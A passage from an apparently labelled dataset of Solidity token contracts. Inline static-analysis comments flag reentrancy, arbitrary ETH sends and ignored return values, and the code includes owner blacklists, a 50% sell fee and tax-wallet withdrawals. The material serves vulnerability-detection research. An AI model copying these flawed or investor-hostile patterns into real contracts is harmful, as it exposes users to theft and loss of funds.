uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits_x7NBQZ5172() external onlyOwner {\n _x5YBXR9T3 = _tTotal;\n\n _x0FKWP6L7 = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: addd290): Launch.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for addd290: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 91f1086\n\t\t// reentrancy-events | ID: c3ab6f0\n\t\t// reentrancy-events | ID: 0a252a5\n\t\t// reentrancy-eth | ID: 8d66070\n\t\t// reentrancy-eth | ID: 721fa0d\n\t\t// reentrancy-eth | ID: 80994ea\n\t\t// arbitrary-send-eth | ID: addd290\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a252a5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a252a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3b3be13): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3b3be13: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c6b9fb8): Launch.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c6b9fb8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 48cea5d): Launch.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 48cea5d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8d66070): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8d66070: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 721fa0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 721fa0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 0a252a5\n\t\t// reentrancy-benign | ID: 3b3be13\n\t\t// reentrancy-eth | ID: 8d66070\n\t\t// reentrancy-eth | ID: 721fa0d\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 0a252a5\n\t\t// reentrancy-benign | ID: 3b3be13\n\t\t// reentrancy-eth | ID: 8d66070\n\t\t// reentrancy-eth | ID: 721fa0d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 0a252a5\n\t\t// reentrancy-benign | ID: 3b3be13\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 48cea5d\n\t\t// reentrancy-eth | ID: 721fa0d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c6b9fb8\n\t\t// reentrancy-eth | ID: 721fa0d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 721fa0d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 721fa0d\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5f1df53): Launch.reduceFee(uint256) should emit an event for _x5HTYL8039 = _newFee \n\t// Recommendation for 5f1df53: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 5f1df53\n _x5HTYL8039 = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap_x4JKWY3286() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10672.sol",
"size_bytes": 22373,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80366e3): EvvoNetwork.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 80366e3: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: eca0fd7\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: eca0fd7\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 0fc0da6\n emit Transfer(sender, recipient, amount);\n }\n\n function _createInitialSupply(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract EvvoNetwork is ERC20, Ownable {\n uint256 public maxBuyAmount;\n\n uint256 public maxSellAmount;\n\n uint256 public maxWalletAmount;\n\n IDexRouter public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n uint256 public swapTokensAtAmount;\n\n address public OperationsAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n uint256 public deadBlocks = 0;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n uint256 public buyFee;\n\n uint256 public sellFee;\n\n uint256 public tokensForOperations;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event EnabledTrading(bool tradingActive, uint256 deadBlocks);\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferStuckedToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80366e3): EvvoNetwork.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 80366e3: Rename the local variables that shadow another component.\n constructor() ERC20(\"Evvo Network\", \"EVVO\") {\n address newOwner = msg.sender;\n\n IDexRouter _uniswapV2Router = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 totalSupply = 10000000 * 1e18;\n\n maxBuyAmount = (totalSupply * 2) / 100;\n\n maxSellAmount = (totalSupply * 2) / 100;\n\n maxWalletAmount = (totalSupply * 2) / 100;\n\n swapTokensAtAmount = (totalSupply * 10) / 10000;\n\n buyFee = 15;\n\n sellFee = 50;\n\n _excludeFromMaxTransaction(newOwner, true);\n\n _excludeFromMaxTransaction(address(this), true);\n\n _excludeFromMaxTransaction(address(0xdead), true);\n\n OperationsAddress = address(0x607454B5cdF142E28B0857396a892fb8625284c3);\n\n excludeFromFees(newOwner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromFees(OperationsAddress, true);\n\n _createInitialSupply(newOwner, totalSupply);\n\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function updateMaxBuyAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.1%\"\n );\n\n maxBuyAmount = newNum * (10 ** 18);\n\n emit UpdatedMaxBuyAmount(maxBuyAmount);\n }\n\n function updateMaxSellAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.1%\"\n );\n\n maxSellAmount = newNum * (10 ** 18);\n\n emit UpdatedMaxSellAmount(maxSellAmount);\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n emit RemovedLimits();\n }\n\n function _excludeFromMaxTransaction(\n address updAds,\n bool isExcluded\n ) private {\n _isExcludedMaxTransactionAmount[updAds] = isExcluded;\n\n emit MaxTransactionExclusion(updAds, isExcluded);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) external onlyOwner {\n if (!isEx) {\n require(\n updAds != uniswapV2Pair,\n \"Cannot remove uniswap pair from max txn\"\n );\n }\n\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set max wallet amount lower than 0.1%\"\n );\n\n maxWalletAmount = newNum * (10 ** 18);\n\n emit UpdatedMaxWalletAmount(maxWalletAmount);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: df59024): EvvoNetwork.updateSwapThreshold(uint256) should emit an event for swapTokensAtAmount = newAmount * (10 ** 18) \n\t// Recommendation for df59024: Emit an event for critical parameter changes.\n function updateSwapThreshold(uint256 newAmount) public {\n require(\n msg.sender == OperationsAddress,\n \"only OperationsAddress can change swapThreshold\"\n );\n\n\t\t// events-maths | ID: df59024\n swapTokensAtAmount = newAmount * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5742b20): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5742b20: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferStuckedToken(\n address _token,\n address _to\n ) public returns (bool _sent) {\n require(_token != address(0), \"_token address cannot be 0\");\n\n require(\n msg.sender == OperationsAddress,\n \"only OperationsAddress can withdraw\"\n );\n\n uint256 _contractBalance = IERC20(_token).balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 5742b20\n _sent = IERC20(_token).transfer(_to, _contractBalance);\n\n\t\t// reentrancy-events | ID: 5742b20\n emit TransferStuckedToken(_token, _contractBalance);\n }\n\n function withdrawStuckETH() public {\n bool success;\n\n require(\n msg.sender == OperationsAddress,\n \"only OperationsAddress can withdraw\"\n );\n\n (success, ) = address(msg.sender).call{value: address(this).balance}(\n \"\"\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6c301fb): EvvoNetwork.updateBuyFee(uint256) should emit an event for buyFee = _fee \n\t// Recommendation for 6c301fb: Emit an event for critical parameter changes.\n function updateBuyFee(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: 6c301fb\n buyFee = _fee;\n\n require(buyFee <= 25, \"Fees must be 25% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4c55147): EvvoNetwork.updateSellFee(uint256) should emit an event for sellFee = _fee \n\t// Recommendation for 4c55147: Emit an event for critical parameter changes.\n function updateSellFee(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: 4c55147\n sellFee = _fee;\n\n require(sellFee <= 50, \"Fees must be 50% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0fc0da6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0fc0da6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eca0fd7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eca0fd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"amount must be greater than 0\");\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead)\n ) {\n if (!tradingActive) {\n require(\n _isExcludedMaxTransactionAmount[from] ||\n _isExcludedMaxTransactionAmount[to],\n \"Trading is not active.\"\n );\n\n require(from == owner(), \"Trading is not enabled\");\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxBuyAmount,\n \"Buy transfer amount exceeds the max buy.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Cannot Exceed max wallet\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxSellAmount,\n \"Sell transfer amount exceeds the max sell.\"\n );\n } else if (\n !_isExcludedMaxTransactionAmount[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount + balanceOf(to) <= maxWalletAmount,\n \"Cannot Exceed max wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 0fc0da6\n\t\t\t// reentrancy-eth | ID: eca0fd7\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: eca0fd7\n swapping = false;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n uint256 penaltyAmount = 0;\n\n if (\n takeFee &&\n tradingActiveBlock > 0 &&\n (block.number > tradingActiveBlock)\n ) {\n if (automatedMarketMakerPairs[to] && sellFee > 0) {\n fees = (amount * sellFee) / 100;\n\n\t\t\t\t// reentrancy-eth | ID: eca0fd7\n tokensForOperations += fees;\n } else if (automatedMarketMakerPairs[from] && buyFee > 0) {\n fees = (amount * buyFee) / 100;\n\n\t\t\t\t// reentrancy-eth | ID: eca0fd7\n tokensForOperations += fees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 0fc0da6\n\t\t\t\t// reentrancy-eth | ID: eca0fd7\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees + penaltyAmount;\n }\n\n\t\t// reentrancy-events | ID: 0fc0da6\n\t\t// reentrancy-eth | ID: eca0fd7\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0fc0da6\n\t\t// reentrancy-benign | ID: 5c523e0\n\t\t// reentrancy-no-eth | ID: e72301b\n\t\t// reentrancy-eth | ID: eca0fd7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) external onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n _excludeFromMaxTransaction(pair, value);\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b8d9d0e): EvvoNetwork.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(owner()),block.timestamp)\n\t// Recommendation for b8d9d0e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: b8d9d0e\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(owner()),\n block.timestamp\n );\n }\n\n function setOperationsAddress(\n address _OperationsAddress\n ) external onlyOwner {\n require(\n _OperationsAddress != address(0),\n \"_OperationsAddress address cannot be 0\"\n );\n\n OperationsAddress = payable(_OperationsAddress);\n\n emit UpdatedOperationsAddress(_OperationsAddress);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e72301b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e72301b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForOperations;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 5) {\n contractBalance = swapTokensAtAmount * 5;\n }\n\n bool success;\n\n\t\t// reentrancy-no-eth | ID: e72301b\n swapTokensForEth(contractBalance);\n\n\t\t// reentrancy-no-eth | ID: e72301b\n tokensForOperations = 0;\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n\t\t\t// reentrancy-events | ID: 0fc0da6\n\t\t\t// reentrancy-benign | ID: 5c523e0\n\t\t\t// reentrancy-eth | ID: eca0fd7\n (success, ) = address(OperationsAddress).call{\n value: address(this).balance\n }(\"\");\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5c523e0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5c523e0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function manualSwap() external {\n require(_msgSender() == OperationsAddress);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapping = true;\n\n\t\t\t// reentrancy-benign | ID: 5c523e0\n swapBack();\n\n\t\t\t// reentrancy-benign | ID: 5c523e0\n swapping = false;\n }\n }\n\n function enableTrading(\n bool _status,\n uint256 _deadBlocks\n ) external onlyOwner {\n require(!tradingActive, \"Cannot re enable trading\");\n\n tradingActive = _status;\n\n swapEnabled = true;\n\n emit EnabledTrading(tradingActive, _deadBlocks);\n\n if (tradingActive && tradingActiveBlock == 0) {\n tradingActiveBlock = block.number;\n\n deadBlocks = _deadBlocks;\n }\n }\n}\n",
"file_name": "solidity_code_10673.sol",
"size_bytes": 24632,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FREEDOM is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f26a7b): FREEDOM._taxWallet should be immutable \n\t// Recommendation for 5f26a7b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b3054ba): FREEDOM._initialBuyTax should be constant \n\t// Recommendation for b3054ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1f671c): FREEDOM._initialSellTax should be constant \n\t// Recommendation for d1f671c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cf1f305): FREEDOM._reduceBuyTaxAt should be constant \n\t// Recommendation for 